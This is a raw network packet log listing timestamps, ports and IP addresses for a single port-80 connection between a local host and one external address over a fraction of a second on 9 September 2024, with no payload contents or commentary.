Sep 9, 2024 18:45:04.236663103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236675978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236676931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236692905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236702919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236722946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236733913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236743927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236747980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236784935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236805916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236831903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236843109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236890078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236908913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236920118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236953020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236963034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.236968994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.236973047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237008095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237040043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237087965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237098932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237107992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237140894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237143040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237164974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237175941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237188101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237195015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237216949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237230062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237266064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237596035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237641096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237647057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237652063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237696886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237696886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237731934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237742901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237752914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237765074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237782955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237812996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237879992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237890005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237898111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237907887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237917900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.237930059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237962008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.237962008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.238007069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.238048077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.238061905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.238064051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.238075972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.238085985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.238095045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.238100052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.238127947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.238128901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.238161087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274015903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274036884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274046898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274056911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274080038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274080992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274097919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274107933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274112940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274120092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274142027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274152040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274158001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274173975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274182081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274184942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274198055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274231911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274240017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274250984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274261951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274281025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274296045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274343967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274375916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274391890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274425983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274435043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274447918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274461031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274472952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274487019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274518967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274557114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274566889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274575949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.274600029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.274627924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.291517973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291532993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291543961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291554928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291565895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291577101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291585922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291587114 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.291625977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.291644096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.291646004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291657925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291666985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291677952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291687965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291692019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.291698933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291711092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.291721106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.291773081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.291773081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.291994095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292011023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292021036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292032003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292042017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292047977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.292071104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292072058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.292089939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292098045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.292102098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292113066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292121887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.292123079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292134047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292144060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.292145014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292156935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292169094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.292187929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.292201042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.292347908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292360067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292367935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292377949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292387962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292398930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292401075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.292403936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.292428017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.292454004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.328458071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328479052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328490019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328500032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328511000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328521013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328528881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.328531981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328543901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328567028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.328591108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.328902006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328924894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328943968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328954935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328958035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.328965902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328978062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.328978062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328991890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.328996897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329025030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329040051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329044104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329056025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329062939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329080105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329098940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329104900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329108000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329148054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329153061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329165936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329195976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329214096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329221010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329227924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329251051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329257011 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329265118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329277039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329278946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329298019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329312086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329425097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329464912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329476118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329514980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329546928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329593897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329628944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329639912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329648972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329669952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329684019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329813004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329823971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329832077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329840899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329850912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329859972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329864979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329870939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329880953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329885006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329911947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329946995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.329956055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329966068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329974890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329983950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329994917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.329998970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.330030918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.330060959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.330063105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.330094099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.330104113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.330116987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.330135107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.330153942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.330168962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.330197096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.330207109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.330213070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.330235958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.330254078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.330296040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.330312014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.330319881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.330344915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.330368042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.330405951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.330416918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.330466986 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.366493940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.366518021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.366534948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.366552114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.366569996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.366591930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385538101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385560989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385577917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385595083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385608912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385612965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385622978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385632038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385649920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385667086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385688066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385715961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385715961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385734081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385749102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385762930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385765076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385782003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385782003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385795116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385798931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385814905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385816097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385827065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385831118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385848045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385848999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385864019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385878086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385890961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.385970116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.385986090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386003017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386014938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386019945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386029005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386037111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386049032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386054039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386066914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386073112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386085033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386096954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386120081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386132956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386176109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386311054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386327028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386342049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386353016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386358023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386369944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386373997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386389017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386392117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386403084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386410952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386423111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386429071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386435032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386446953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386464119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386487961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386487961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386652946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386668921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386684895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386698961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386699915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386715889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386718988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386733055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386734962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.386749983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386765957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386781931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.386787891 CEST	49707	80	192.168.2.5	45.152.113.10
